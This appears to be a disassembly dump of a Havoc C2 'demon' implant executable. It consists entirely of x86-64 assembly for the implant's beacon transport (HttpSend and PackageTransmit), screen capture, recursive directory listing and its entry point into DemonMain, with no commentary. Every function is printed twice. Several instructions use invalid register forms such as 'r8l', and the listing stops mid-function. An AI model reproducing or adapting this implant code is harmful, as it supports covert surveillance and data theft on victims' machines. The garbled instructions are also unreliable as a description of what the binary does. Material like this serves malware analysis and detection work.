File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140022130
140022130TransportSend:
140022130push rsi
140022131xor eax, eax
140022133mov rsi, r8
140022136xor r8l, r8l
140022139push rbx
14002213amov rbx, r9
14002213dsub rsp, 72
140022141mov [rsp+32], rcx
140022146lea rcx, [rsp+32]
14002214bmov [rsp+40], edx
14002214flea rdx, [rsp+48]
140022154mov [rsp+44], eax
140022158mov [rsp+48], r8
14002215dmov [rsp+56], r8
140022162call HttpSend
140022167test eax, eax
140022169je 0x140022189
14002216btest rsi, rsi
14002216eje 0x140022178
140022170mov rax, [rsp+48]
140022175mov [rsi], rax
140022178
140022178loc_140022178:
140022178test rbx, rbx
14002217bje 0x140022184
14002217dmov eax, [rsp+56]
140022181mov [rbx], rax
140022184
140022184loc_140022184:
140022184mov eax, 1
140022189
140022189loc_140022189:
140022189add rsp, 72
14002218dpop rbx
14002218epop rsi
14002218fret
140022130
140022130TransportSend:
140022130push rsi
140022131xor eax, eax
140022133mov rsi, r8
140022136xor r8l, r8l
140022139push rbx
14002213amov rbx, r9
14002213dsub rsp, 72
140022141mov [rsp+32], rcx
140022146lea rcx, [rsp+32]
14002214bmov [rsp+40], edx
14002214flea rdx, [rsp+48]
140022154mov [rsp+44], eax
140022158mov [rsp+48], r8
14002215dmov [rsp+56], r8
140022162call HttpSend
140022167test eax, eax
140022169je 0x140022189
14002216btest rsi, rsi
14002216eje 0x140022178
140022170mov rax, [rsp+48]
140022175mov [rsi], rax
140022178
140022178loc_140022178:
140022178test rbx, rbx
14002217bje 0x140022184
14002217dmov eax, [rsp+56]
140022181mov [rbx], rax
140022184
140022184loc_140022184:
140022184mov eax, 1
140022189
140022189loc_140022189:
140022189add rsp, 72
14002218dpop rbx
14002218epop rsi
14002218fret
140022130
140022190
140022190VehDebugger:
140022190push rsi
140022191xor eax, eax
140022193mov rsi, rcx
140022196lea rdx, [rip+45779]
14002219dpush rbx
14002219emov r8l, 35
1400221a4sub rsp, 56
1400221a8mov [rsp+44], eax
1400221acmov rax, [rcx]
1400221aflea rcx, [rip+37018]
1400221b6mov r9l, [rax]
1400221b9call printf
1400221bemov rcx, [rip+11643]
1400221c5mov rax, [rsi+8]
1400221c9lea rdx, [rsp+44]
1400221cemov [rax+248], rcx
1400221d5call GetRequestIDForCallingObjectFile
1400221datest eax, eax
1400221dcje 0x1400221ee
1400221demov edx, [rsp+44]
1400221e2mov ecx, 20
1400221e7call PackageCreateWithRequestID
1400221ecjmp 0x1400221f8
1400221ee
1400221eeloc_1400221ee:
1400221eemov ecx, 20
1400221f3call PackageCreate
1400221f8
1400221f8loc_1400221f8:
1400221f8mov rcx, rax
1400221fbmov edx, 1
140022200mov rbx, rax
140022203call PackageAddInt32
140022208mov rax, [rsi]
14002220bmov rcx, rbx
14002220emov edx, [rax]
140022210call PackageAddInt32
140022215mov rax, [rsi]
140022218mov rcx, rbx
14002221bmov rdx, [rax+16]
14002221fcall PackageAddInt64
140022224mov rcx, rbx
140022227call PackageTransmit
14002222cadd rsp, 56
140022230or eax, -1
140022233pop rbx
140022234pop rsi
140022235ret
140022190
140022190VehDebugger:
140022190push rsi
140022191xor eax, eax
140022193mov rsi, rcx
140022196lea rdx, [rip+45779]
14002219dpush rbx
14002219emov r8l, 35
1400221a4sub rsp, 56
1400221a8mov [rsp+44], eax
1400221acmov rax, [rcx]
1400221aflea rcx, [rip+37018]
1400221b6mov r9l, [rax]
1400221b9call printf
1400221bemov rcx, [rip+11643]
1400221c5mov rax, [rsi+8]
1400221c9lea rdx, [rsp+44]
1400221cemov [rax+248], rcx
1400221d5call GetRequestIDForCallingObjectFile
1400221datest eax, eax
1400221dcje 0x1400221ee
1400221demov edx, [rsp+44]
1400221e2mov ecx, 20
1400221e7call PackageCreateWithRequestID
1400221ecjmp 0x1400221f8
1400221ee
1400221eeloc_1400221ee:
1400221eemov ecx, 20
1400221f3call PackageCreate
1400221f8
1400221f8loc_1400221f8:
1400221f8mov rcx, rax
1400221fbmov edx, 1
140022200mov rbx, rax
140022203call PackageAddInt32
140022208mov rax, [rsi]
14002220bmov rcx, rbx
14002220emov edx, [rax]
140022210call PackageAddInt32
140022215mov rax, [rsi]
140022218mov rcx, rbx
14002221bmov rdx, [rax+16]
14002221fcall PackageAddInt64
140022224mov rcx, rbx
140022227call PackageTransmit
14002222cadd rsp, 56
140022230or eax, -1
140022233pop rbx
140022234pop rsi
140022235ret
140022190
140022236
140022236 // align 0x10
140022236 // align 0x10
140022240
140022240WCharStringToCharString:
140022240mov eax, r8l
140022243
140022243loc_140022243:
140022243dec eax
140022245js 0x140022265
140022247mov r9w, [rdx]
14002224badd rdx, 2
14002224finc rcx
140022252mov [rcx-1], r9b
140022256test r9b, r9b
140022259jne 0x140022243
14002225bcdqe
14002225dsub r8, rax
140022260lea rax, [r8-1]
140022264ret
140022265
140022265loc_140022265:
140022265movsxd rdx, eax
140022268mov rax, r8
14002226bsub rax, rdx
14002226eret
140022240
140022240WCharStringToCharString:
140022240mov eax, r8l
140022243
140022243loc_140022243:
140022243dec eax
140022245js 0x140022265
140022247mov r9w, [rdx]
14002224badd rdx, 2
14002224finc rcx
140022252mov [rcx-1], r9b
140022256test r9b, r9b
140022259jne 0x140022243
14002225bcdqe
14002225dsub r8, rax
140022260lea rax, [r8-1]
140022264ret
140022265
140022265loc_140022265:
140022265movsxd rdx, eax
140022268mov rax, r8
14002226bsub rax, rdx
14002226eret
140022240
14002226f
14002226f // align 0x10
14002226f // align 0x10
140022270
140022270WcsStr:
140022270sub rsp, 40
140022274mov r9, rcx
140022277xor r10l, r10l
14002227acall StringLengthW
14002227fmov rcx, rdx
140022282mov r8, rax
140022285call StringLengthW
14002228acmp r8l, eax
14002228djb 0x1400222b6
14002228fmov r8l, r8l
140022292mov rcx, r9
140022295add r8, r8
140022298lea r9, [r9+r8]
14002229c
14002229cloc_14002229c:
14002229ccmp rcx, r9
14002229fje 0x1400222b3
1400222a1call StringCompareW
1400222a6mov r10, rcx
1400222a9add rcx, 2
1400222adtest eax, eax
1400222afjne 0x14002229c
1400222b1jmp 0x1400222b6
1400222b3
1400222b3loc_1400222b3:
1400222b3xor r10l, r10l
1400222b6
1400222b6loc_1400222b6:
1400222b6mov rax, r10
1400222b9add rsp, 40
1400222bdret
140022270
140022270WcsStr:
140022270sub rsp, 40
140022274mov r9, rcx
140022277xor r10l, r10l
14002227acall StringLengthW
14002227fmov rcx, rdx
140022282mov r8, rax
140022285call StringLengthW
14002228acmp r8l, eax
14002228djb 0x1400222b6
14002228fmov r8l, r8l
140022292mov rcx, r9
140022295add r8, r8
140022298lea r9, [r9+r8]
14002229c
14002229cloc_14002229c:
14002229ccmp rcx, r9
14002229fje 0x1400222b3
1400222a1call StringCompareW
1400222a6mov r10, rcx
1400222a9add rcx, 2
1400222adtest eax, eax
1400222afjne 0x14002229c
1400222b1jmp 0x1400222b6
1400222b3
1400222b3loc_1400222b3:
1400222b3xor r10l, r10l
1400222b6
1400222b6loc_1400222b6:
1400222b6mov rax, r10
1400222b9add rsp, 40
1400222bdret
140022270
1400222be
1400222be // align 0x10
1400222be // align 0x10
1400222c0
1400222c0WinMain:
1400222c0sub rsp, 72
1400222c4mov [rsp+48], r9l
1400222c9mov r9, rcx
1400222cclea rcx, [rip+39245]
1400222d3mov [rsp+40], r8
1400222d8mov r8l, 27
1400222demov [rsp+32], rdx
1400222e3lea rdx, [rip+42166]
1400222eacall printf.constprop.0
1400222efxor edx, edx
1400222f1xor ecx, ecx
1400222f3call DemonMain
1400222f8xor eax, eax
1400222faadd rsp, 72
1400222feret
1400222c0
1400222c0WinMain:
1400222c0sub rsp, 72
1400222c4mov [rsp+48], r9l
1400222c9mov r9, rcx
1400222cclea rcx, [rip+39245]
1400222d3mov [rsp+40], r8
1400222d8mov r8l, 27
1400222demov [rsp+32], rdx
1400222e3lea rdx, [rip+42166]
1400222eacall printf.constprop.0
1400222efxor edx, edx
1400222f1xor ecx, ecx
1400222f3call DemonMain
1400222f8xor eax, eax
1400222faadd rsp, 72
1400222feret
1400222c0
1400222ff
1400222ff // align 0x10
1400222ff // align 0x10
140022300
140022300WinScreenshot:
140022300push r15
140022302xor eax, eax
140022304mov r15, rdx
140022307xor edx, edx
140022309push r14
14002230bpush r13
14002230dpush r12
14002230fpush rbp
140022310push rdi
140022311push rsi
140022312push rbx
140022313sub rsp, 280
14002231amov rbp, [rip+41039]
140022321mov [rsp+138], rax
140022329lea rdi, [rsp+188]
140022331mov [rsp+352], rcx
140022339mov ecx, 10
14002233emov [rsp+144], rax
140022346xor eax, eax
140022348rep stosd [rdi], eax
14002234alea rdi, [rsp+228]
140022352mov ecx, 11
140022357mov [rsp+128], rdx
14002235frep stosd [rdi], eax
140022361lea rdi, [rsp+152]
140022369mov ecx, 8
14002236erep stosd [rdi], eax
140022370mov ecx, 76
140022375lea rdi, [rsp+138]
14002237dcall [rbp+1700]
140022383mov ecx, 77
140022388mov [rsp+120], eax
14002238ccall [rbp+1700]
140022392mov ecx, 14
140022397mov [rsp+124], eax
14002239bxor eax, eax
14002239drep stosb [rdi], al
14002239flea rbx, [rsp+188]
1400223a7mov ecx, 40
1400223acmov [rsp+104], rbx
1400223b1mov rdi, rbx
1400223b4rep stosb [rdi], al
1400223b6lea r14, [rsp+228]
1400223bemov ecx, 44
1400223c3mov rdi, r14
1400223c6rep stosb [rdi], al
1400223c8lea r8, [rsp+152]
1400223d0mov ecx, 32
1400223d5mov [rsp+88], r8
1400223damov rdi, r8
1400223ddrep stosb [rdi], al
1400223dfxor ecx, ecx
1400223e1mov rdi, r14
1400223e4call [rbp+1708]
1400223eamov edx, 7
1400223efmov r12, rax
1400223f2mov rcx, rax
1400223f5call [rbp+1716]
1400223fbmov r8, [rsp+88]
140022400mov edx, 32
140022405mov rcx, rax
140022408mov [rsp+96], rax
14002240dcall [rbp+1724]
140022413mov rsi, [rsp+104]
140022418mov ecx, 10
14002241dmov eax, [rsp+156]
140022424mov r8l, [rsp+160]
14002242cmov [rsp+188], 40
140022437mov [rsp+192], eax
14002243eimul eax, eax, 24
140022441mov [rsp+196], r8l
140022449mov [rsp+200], 0x180001
140022455rep movsd [rdi], [rsi]
140022457add eax, 31
14002245amov ecx, 8
14002245fmov [rsp+138], 19778
140022469mov [rsp+148], 54
140022474and eax, -32
140022477cdq
140022478idiv ecx
14002247amov ecx, 64
14002247fimul eax, r8l
140022483mov ebx, eax
140022485add eax, 54
140022488mov rdx, rax
14002248bmov [rsp+112], rax
140022490call [rbp+932]
140022496mov rcx, r12
140022499mov r13, rax
14002249ccall [rbp+1732]
1400224a2xor ecx, ecx
1400224a4xor r8l, r8l
1400224a7mov rdx, r14
1400224aalea r9, [rsp+128]
1400224b2mov [rsp+40], ecx
1400224b6mov rcx, r12
1400224b9mov [rsp+32], r8
1400224bexor r8l, r8l
1400224c1mov [rsp+88], rax
1400224c6call [rbp+1740]
1400224ccmov rcx, [rsp+88]
1400224d1mov rdx, rax
1400224d4mov r14, rax
1400224d7call [rbp+1748]
1400224ddmov eax, [rsp+120]
1400224e1xor r8l, r8l
1400224e4xor edx, edx
1400224e6mov r11l, [rsp+124]
1400224ebmov rcx, [rsp+88]
1400224f0mov [rsp+64], 0xcc0020
1400224f8mov [rsp+48], eax
1400224fcmov eax, [rsp+160]
140022503mov [rsp+56], r11l
140022508mov r9l, [rsp+156]
140022510mov [rsp+40], r12
140022515mov [rsp+32], eax
140022519call [rbp+1756]
14002251fmov rsi, [rsp+104]
140022524mov rax, [rsp+138]
14002252cmov ecx, 10
140022531mov r10, [rsp+352]
140022539mov [r13], rax
14002253dmov rax, [rsp+144]
140022545mov [r13+6], rax
140022549lea rax, [r13+14]
14002254dmov rdi, rax
140022550lea rax, [r13+54]
140022554rep movsd [rdi], [rsi]
140022556mov rsi, [rsp+128]
14002255emov ecx, ebx
140022560mov rdi, rax
140022563rep movsb [rdi], [rsi]
140022565test r10, r10
140022568je 0x14002256d
14002256amov [r10], r13
14002256d
14002256dloc_14002256d:
14002256dtest r15, r15
140022570je 0x14002257a
140022572mov rax, [rsp+112]
140022577mov [r15], rax
14002257a
14002257aloc_14002257a:
14002257acmp [rsp+96], 0
140022580je 0x14002258d
140022582mov rcx, [rsp+96]
140022587call [rbp+1764]
14002258d
14002258dloc_14002258d:
14002258dcmp [rsp+88], 0
140022593je 0x1400225a0
140022595mov rcx, [rsp+88]
14002259acall [rbp+1772]
1400225a0
1400225a0loc_1400225a0:
1400225a0test r12, r12
1400225a3je 0x1400225b0
1400225a5mov rdx, r12
1400225a8xor ecx, ecx
1400225aacall [rbp+1780]
1400225b0
1400225b0loc_1400225b0:
1400225b0test r14, r14
1400225b3je 0x1400225be
1400225b5mov rcx, r14
1400225b8call [rbp+1764]
1400225be
1400225beloc_1400225be:
1400225beadd rsp, 280
1400225c5mov eax, 1
1400225capop rbx
1400225cbpop rsi
1400225ccpop rdi
1400225cdpop rbp
1400225cepop r12
1400225d0pop r13
1400225d2pop r14
1400225d4pop r15
1400225d6ret
140022300
140022300WinScreenshot:
140022300push r15
140022302xor eax, eax
140022304mov r15, rdx
140022307xor edx, edx
140022309push r14
14002230bpush r13
14002230dpush r12
14002230fpush rbp
140022310push rdi
140022311push rsi
140022312push rbx
140022313sub rsp, 280
14002231amov rbp, [rip+41039]
140022321mov [rsp+138], rax
140022329lea rdi, [rsp+188]
140022331mov [rsp+352], rcx
140022339mov ecx, 10
14002233emov [rsp+144], rax
140022346xor eax, eax
140022348rep stosd [rdi], eax
14002234alea rdi, [rsp+228]
140022352mov ecx, 11
140022357mov [rsp+128], rdx
14002235frep stosd [rdi], eax
140022361lea rdi, [rsp+152]
140022369mov ecx, 8
14002236erep stosd [rdi], eax
140022370mov ecx, 76
140022375lea rdi, [rsp+138]
14002237dcall [rbp+1700]
140022383mov ecx, 77
140022388mov [rsp+120], eax
14002238ccall [rbp+1700]
140022392mov ecx, 14
140022397mov [rsp+124], eax
14002239bxor eax, eax
14002239drep stosb [rdi], al
14002239flea rbx, [rsp+188]
1400223a7mov ecx, 40
1400223acmov [rsp+104], rbx
1400223b1mov rdi, rbx
1400223b4rep stosb [rdi], al
1400223b6lea r14, [rsp+228]
1400223bemov ecx, 44
1400223c3mov rdi, r14
1400223c6rep stosb [rdi], al
1400223c8lea r8, [rsp+152]
1400223d0mov ecx, 32
1400223d5mov [rsp+88], r8
1400223damov rdi, r8
1400223ddrep stosb [rdi], al
1400223dfxor ecx, ecx
1400223e1mov rdi, r14
1400223e4call [rbp+1708]
1400223eamov edx, 7
1400223efmov r12, rax
1400223f2mov rcx, rax
1400223f5call [rbp+1716]
1400223fbmov r8, [rsp+88]
140022400mov edx, 32
140022405mov rcx, rax
140022408mov [rsp+96], rax
14002240dcall [rbp+1724]
140022413mov rsi, [rsp+104]
140022418mov ecx, 10
14002241dmov eax, [rsp+156]
140022424mov r8l, [rsp+160]
14002242cmov [rsp+188], 40
140022437mov [rsp+192], eax
14002243eimul eax, eax, 24
140022441mov [rsp+196], r8l
140022449mov [rsp+200], 0x180001
140022455rep movsd [rdi], [rsi]
140022457add eax, 31
14002245amov ecx, 8
14002245fmov [rsp+138], 19778
140022469mov [rsp+148], 54
140022474and eax, -32
140022477cdq
140022478idiv ecx
14002247amov ecx, 64
14002247fimul eax, r8l
140022483mov ebx, eax
140022485add eax, 54
140022488mov rdx, rax
14002248bmov [rsp+112], rax
140022490call [rbp+932]
140022496mov rcx, r12
140022499mov r13, rax
14002249ccall [rbp+1732]
1400224a2xor ecx, ecx
1400224a4xor r8l, r8l
1400224a7mov rdx, r14
1400224aalea r9, [rsp+128]
1400224b2mov [rsp+40], ecx
1400224b6mov rcx, r12
1400224b9mov [rsp+32], r8
1400224bexor r8l, r8l
1400224c1mov [rsp+88], rax
1400224c6call [rbp+1740]
1400224ccmov rcx, [rsp+88]
1400224d1mov rdx, rax
1400224d4mov r14, rax
1400224d7call [rbp+1748]
1400224ddmov eax, [rsp+120]
1400224e1xor r8l, r8l
1400224e4xor edx, edx
1400224e6mov r11l, [rsp+124]
1400224ebmov rcx, [rsp+88]
1400224f0mov [rsp+64], 0xcc0020
1400224f8mov [rsp+48], eax
1400224fcmov eax, [rsp+160]
140022503mov [rsp+56], r11l
140022508mov r9l, [rsp+156]
140022510mov [rsp+40], r12
140022515mov [rsp+32], eax
140022519call [rbp+1756]
14002251fmov rsi, [rsp+104]
140022524mov rax, [rsp+138]
14002252cmov ecx, 10
140022531mov r10, [rsp+352]
140022539mov [r13], rax
14002253dmov rax, [rsp+144]
140022545mov [r13+6], rax
140022549lea rax, [r13+14]
14002254dmov rdi, rax
140022550lea rax, [r13+54]
140022554rep movsd [rdi], [rsi]
140022556mov rsi, [rsp+128]
14002255emov ecx, ebx
140022560mov rdi, rax
140022563rep movsb [rdi], [rsi]
140022565test r10, r10
140022568je 0x14002256d
14002256amov [r10], r13
14002256d
14002256dloc_14002256d:
14002256dtest r15, r15
140022570je 0x14002257a
140022572mov rax, [rsp+112]
140022577mov [r15], rax
14002257a
14002257aloc_14002257a:
14002257acmp [rsp+96], 0
140022580je 0x14002258d
140022582mov rcx, [rsp+96]
140022587call [rbp+1764]
14002258d
14002258dloc_14002258d:
14002258dcmp [rsp+88], 0
140022593je 0x1400225a0
140022595mov rcx, [rsp+88]
14002259acall [rbp+1772]
1400225a0
1400225a0loc_1400225a0:
1400225a0test r12, r12
1400225a3je 0x1400225b0
1400225a5mov rdx, r12
1400225a8xor ecx, ecx
1400225aacall [rbp+1780]
1400225b0
1400225b0loc_1400225b0:
1400225b0test r14, r14
1400225b3je 0x1400225be
1400225b5mov rcx, r14
1400225b8call [rbp+1764]
1400225be
1400225beloc_1400225be:
1400225beadd rsp, 280
1400225c5mov eax, 1
1400225capop rbx
1400225cbpop rsi
1400225ccpop rdi
1400225cdpop rbp
1400225cepop r12
1400225d0pop r13
1400225d2pop r14
1400225d4pop r15
1400225d6ret
140022300
1400225d7
1400225d7 // align 0x10
1400225d7 // align 0x10
1400225e2
1400225e2 // align 0x10
1400225e2 // align 0x10
1400225f0
1400225f0listDir:
1400225f0push r15
1400225f2xor eax, eax
1400225f4push r14
1400225f6push r13
1400225f8push r12
1400225fapush rbp
1400225fbpush rdi
1400225fcpush rsi
1400225fdmov rsi, rcx
140022600mov ecx, 148
140022605push rbx
140022606sub rsp, 712
14002260dlea rdi, [rsp+112]
140022612mov [rsp+792], edx
140022619rep stosd [rdi], eax
14002261bmov [rsp+800], r8l
140022623mov [rsp+808], r9l
14002262btest rsi, rsi
14002262eje 0x14002264e
140022630test r8l, r8l
140022633setne [rsp+102]
140022638test r9l, r9l
14002263bsetne [rsp+103]
140022640cmp [rsp+102], 0
140022645je 0x140022675
140022647cmp [rsp+103], 0
14002264cje 0x140022675
14002264e
14002264eloc_14002264e:
14002264elea r9, [rip+33582]
140022655mov r8l, 1467
14002265blea rdx, [rip+41150]
140022662xor ebp, ebp
140022664lea rcx, [rip+32002]
14002266bcall printf
140022670jmp 0x140022bcd
140022675
140022675loc_140022675:
140022675mov edx, 526
14002267amov r12, [rip+40175]
140022681mov ecx, 64
140022686mov r13l, 260
14002268ccall [r12+932]
140022694mov rcx, rsi
140022697mov [rsp+64], rax
14002269ccall StringLengthW
1400226a1cmp rax, 260
1400226a7ja 0x1400226b4
1400226a9mov rcx, rsi
1400226accall StringLengthW
1400226b1mov r13l, eax
1400226b4
1400226b4loc_1400226b4:
1400226b4mov ebp, r13l
1400226b7mov rdi, [rsp+64]
1400226bclea rdx, [rsp+112]
1400226c1add rbp, rbp
1400226c4mov rcx, rbp
1400226c7rep movsb [rdi], [rsi]
1400226c9mov rcx, [rsp+64]
1400226cecall [r12+1004]
1400226d6mov [rsp+72], rax
1400226dbinc rax
1400226dejne 0x1400226f0
1400226e0mov r9, [rsp+64]
1400226e5mov r8l, 1482
1400226ebjmp 0x140022775
1400226f0
1400226f0loc_1400226f0:
1400226f0test [rsp+112], 16
1400226f5je 0x14002279b
1400226fbmov rbx, [rsp+64]
140022700lea eax, [r13-1]
140022704mov ax, [rbx+2*rax]
140022708cmp ax, 42
14002270cje 0x14002279b
140022712cmp ax, 92
140022716je 0x140022721
140022718mov [rbx+rbp], 92
14002271einc r13l
140022721
140022721loc_140022721:
140022721mov rax, [rsp+64]
140022726mov rbx, [rsp+64]
14002272blea esi, [r13+1]
14002272fmov rcx, [rsp+72]
140022734mov [rax+2*r13], 42
14002273bmov eax, esi
14002273dmov r13l, esi
140022740mov [rbx+2*rax], 0
140022746call [r12+1068]
14002274emov rcx, [rsp+64]
140022753lea rdx, [rsp+112]
140022758call [r12+1004]
140022760mov [rsp+72], rax
140022765inc rax
140022768jne 0x14002279b
14002276amov r9, [rsp+64]
14002276fmov r8l, 1501
140022775
140022775loc_140022775:
140022775lea rdx, [rip+40868]
14002277clea rcx, [rip+33298]
140022783xor r13l, r13l
140022786xor ebp, ebp
140022788call printf
14002278dmov [rsp+72], -1
140022796jmp 0x140022b6f
14002279b
14002279bloc_14002279b:
14002279bmov rax, [rip+39886]
1400227a2mov edx, 560
1400227a7mov ecx, 64
1400227accall [rax+932]
1400227b2mov rcx, [rsp+64]
1400227b7mov rbp, rax
1400227bacall StringLengthW
1400227bfmov ecx, 520
1400227c4cmp rax, 260
1400227caja 0x1400227da
1400227ccmov rcx, [rsp+64]
1400227d1call StringLengthW
1400227d6lea rcx, [rax+rax]
1400227da
1400227daloc_1400227da:
1400227dalea eax, [r13-1]
1400227demov rsi, [rsp+64]
1400227e3mov rdi, rbp
1400227e6xor r14l, r14l
1400227e9rep movsb [rdi], [rsi]
1400227ebadd rax, rax
1400227eexor r13l, r13l
1400227f1mov [rsp+104], rax
1400227f6xor eax, eax
1400227f8mov [rsp+88], rax
1400227fdlea rax, [rsp+156]
140022805mov [rsp+80], rax
14002280a
14002280aloc_14002280a:
14002280amov eax, [rsp+112]
14002280eand eax, 16
140022811setne r15b
140022815cmp [rsp+792], 0
14002281dmov [rsp+96], eax
140022821jne 0x140022837
140022823test r15b, r15b
140022826je 0x140022837
140022828cmp [rsp+800], 0
140022830je 0x140022857
140022832jmp 0x140022ad3
140022837
140022837loc_140022837:
140022837cmp [rsp+96], 0
14002283cjne 0x140022849
14002283ecmp [rsp+103], 0
140022843jne 0x140022ad3
140022849
140022849loc_140022849:
140022849cmp [rsp+96], 0
14002284emov r12, r14
140022851je 0x140022901
140022857
140022857loc_140022857:
140022857mov rcx, [rsp+80]
14002285ccall StringLengthW
140022861dec rax
140022864jne 0x140022875
140022866cmp [rsp+156], 46
14002286fje 0x140022ad3
140022875
140022875loc_140022875:
140022875mov rcx, [rsp+80]
14002287acall StringLengthW
14002287fcmp rax, 2
140022883jne 0x140022896
140022885cmp [rsp+156], 0x2e002e
140022890je 0x140022ad3
140022896
140022896loc_140022896:
140022896cmp [rsp+792], 0
14002289eje 0x1400228e9
1400228a0test r15b, r15b
1400228a3je 0x1400228e9
1400228a5mov rax, [rip+39620]
1400228acmov edx, 536
1400228b1mov ecx, 64
1400228b6call [rax+932]
1400228bcmov rsi, [rsp+64]
1400228c1mov rcx, [rsp+104]
1400228c6mov rdi, rax
1400228c9mov rdx, [rsp+80]
1400228cemov r12, rax
1400228d1rep movsb [rdi], [rsi]
1400228d3mov rcx, rax
1400228d6call StringConcatW
1400228dbtest r14, r14
1400228deje 0x1400228ee
1400228e0mov [r14+528], r12
1400228e7jmp 0x1400228f1
1400228e9
1400228e9loc_1400228e9:
1400228e9mov r12, r14
1400228ecjmp 0x1400228f1
1400228ee
1400228eeloc_1400228ee:
1400228eemov r13, r12
1400228f1
1400228f1loc_1400228f1:
1400228f1cmp [rsp+102], 0
1400228f6je 0x140022901
1400228f8test r15b, r15b
1400228fbjne 0x140022ad0
140022901
140022901loc_140022901:
140022901cmp [rsp+816], 0
14002290ajne 0x140022919
14002290c
14002290cloc_14002290c:
14002290ccmp [rsp+824], 0
140022915jne 0x140022957
140022917jmp 0x140022995
140022919
140022919loc_140022919:
140022919mov rcx, [rsp+80]
14002291ecall StringLengthW
140022923mov rcx, [rsp+816]
14002292bmov rsi, rax
14002292ecall StringLengthW
140022933cmp rsi, rax
140022936jb 0x140022ad0
14002293cmov rdx, [rsp+80]
140022941mov rcx, [rsp+816]
140022949call StringCompareIW
14002294etest eax, eax
140022950je 0x14002290c
140022952jmp 0x140022ad0
140022957
140022957loc_140022957:
140022957mov rcx, [rsp+80]
14002295ccall StringLengthW
140022961mov rcx, [rsp+824]
140022969mov rsi, rax
14002296ccall StringLengthW
140022971cmp rsi, rax
140022974jb 0x140022ad0
14002297amov rdx, [rsp+824]
140022982mov rcx, [rsp+80]
140022987call WcsStr
14002298ctest rax, rax
14002298fje 0x140022ad0
140022995
140022995loc_140022995:
140022995cmp [rsp+832], 0
14002299eje 0x140022a0c
1400229a0lea rdi, [rsp+156]
1400229a8lea r14, [rsp+112]
1400229admov rcx, rdi
1400229b0call StringLengthW
1400229b5mov rcx, [rsp+832]
1400229bdmov rsi, rax
1400229c0call StringLengthW
1400229c5cmp rsi, rax
1400229c8jb 0x140022ad0
1400229cemov rcx, rdi
1400229d1call StringLengthW
1400229d6mov rcx, [rsp+832]
1400229demov rsi, rax
1400229e1call StringLengthW
1400229e6mov rcx, [rsp+832]
1400229eemov rdx, rax
1400229f1lea rax, [rsi+22]
1400229f5sub rax, rdx
1400229f8add rax, rax
1400229fblea rdx, [r14+rax]
1400229ffcall StringCompareIW
140022a04test eax, eax
140022a06jne 0x140022ad0
140022a0c
140022a0cloc_140022a0c:
140022a0cmov rsi, [rip+39261]
140022a13mov edx, 576
140022a18mov ecx, 64
140022a1dmovzx r15l, r15b
140022a21call [rsi+932]
140022a27lea rcx, [rsp+124]
140022a2cmov rbx, rax
140022a2flea rdi, [rax+522]
140022a36mov rdx, rdi
140022a39call [rsi+1076]
140022a3fxor ecx, ecx
140022a41lea r8, [rbx+538]
140022a48mov rdx, rdi
140022a4bcall [rsi+1084]
140022a51cmp [rsp+96], 0
140022a56mov [rbx+556], r15l
140022a5dje 0x140022a67
140022a5finc [rbp+540]
140022a65jmp 0x140022a90
140022a67
140022a67loc_140022a67:
140022a67mov eax, [rsp+140]
140022a6emov edx, [rsp+144]
140022a75shl rax, 32
140022a79or rax, rdx
140022a7cmov [rbx+560], rax
140022a83inc [rbp+536]
140022a89add [rbp+544], rax
140022a90
140022a90loc_140022a90:
140022a90lea rsi, [rsp+156]
140022a98mov rdi, rbx
140022a9bmov rcx, rsi
140022a9ecall StringLengthW
140022aa3cmp [rsp+88], 0
140022aa9lea rcx, [rax+rax]
140022aadrep movsb [rdi], [rsi]
140022aafje 0x140022ac7
140022ab1mov rax, [rsp+88]
140022ab6mov [rax+568], rbx
140022abd
140022abdloc_140022abd:
140022abdmov [rsp+88], rbx
140022ac2mov r14, r12
140022ac5jmp 0x140022ad3
140022ac7
140022ac7loc_140022ac7:
140022ac7mov [rbp+528], rbx
140022acejmp 0x140022abd
140022ad0
140022ad0loc_140022ad0:
140022ad0mov r14, r12
140022ad3
140022ad3loc_140022ad3:
140022ad3mov rax, [rip+39062]
140022adamov rcx, [rsp+72]
140022adflea rdx, [rsp+112]
140022ae4call [rax+1012]
140022aeatest eax, eax
140022aecjne 0x14002280a
140022af2mov rsi, r13
140022af5mov rdi, rbp
140022af8
140022af8loc_140022af8:
140022af8test rsi, rsi
140022afbje 0x140022b67
140022afdmov rax, [rsp+832]
140022b05mov r9l, [rsp+808]
140022b0dmov rcx, rsi
140022b10mov r8l, [rsp+800]
140022b18mov edx, [rsp+792]
140022b1fmov [rsp+48], rax
140022b24mov rax, [rsp+824]
140022b2cmov [rsp+40], rax
140022b31mov rax, [rsp+816]
140022b39mov [rsp+32], rax
140022b3ecall listDir
140022b43test rax, rax
140022b46je 0x140022b5e
140022b48mov [rdi+552], rax
140022b4f
140022b4floc_140022b4f:
140022b4fmov rdi, rax
140022b52mov rax, [rax+552]
140022b59test rax, rax
140022b5cjne 0x140022b4f
140022b5e
140022b5eloc_140022b5e:
140022b5emov rsi, [rsi+528]
140022b65jmp 0x140022af8
140022b67
140022b67loc_140022b67:
140022b67cmp [rsp+72], 0
140022b6dje 0x140022b81
140022b6f
140022b6floc_140022b6f:
140022b6fmov rax, [rip+38906]
140022b76mov rcx, [rsp+72]
140022b7bcall [rax+1068]
140022b81
140022b81loc_140022b81:
140022b81mov rdi, [rsp+64]
140022b86mov ecx, 526
140022b8bxor eax, eax
140022b8drep stosb [rdi], al
140022b8fmov rsi, [rip+38874]
140022b96mov rcx, [rsp+64]
140022b9bxor ebx, ebx
140022b9dmov r12l, 536
140022ba3call [rsi+940]
140022ba9
140022ba9loc_140022ba9:
140022ba9test r13, r13
140022bacje 0x140022bcd
140022baemov r14, [r13+528]
140022bb5mov rdi, r13
140022bb8mov rcx, r12
140022bbbmov eax, ebx
140022bbdrep stosb [rdi], al
140022bbfmov rcx, r13
140022bc2mov r13, r14
140022bc5call [rsi+940]
140022bcbjmp 0x140022ba9
140022bcd
140022bcdloc_140022bcd:
140022bcdadd rsp, 712
140022bd4mov rax, rbp
140022bd7pop rbx
140022bd8pop rsi
140022bd9pop rdi
140022bdapop rbp
140022bdbpop r12
140022bddpop r13
140022bdfpop r14
140022be1pop r15
140022be3ret
1400225f0
1400225f0listDir:
1400225f0push r15
1400225f2xor eax, eax
1400225f4push r14
1400225f6push r13
1400225f8push r12
1400225fapush rbp
1400225fbpush rdi
1400225fcpush rsi
1400225fdmov rsi, rcx
140022600mov ecx, 148
140022605push rbx
140022606sub rsp, 712
14002260dlea rdi, [rsp+112]
140022612mov [rsp+792], edx
140022619rep stosd [rdi], eax
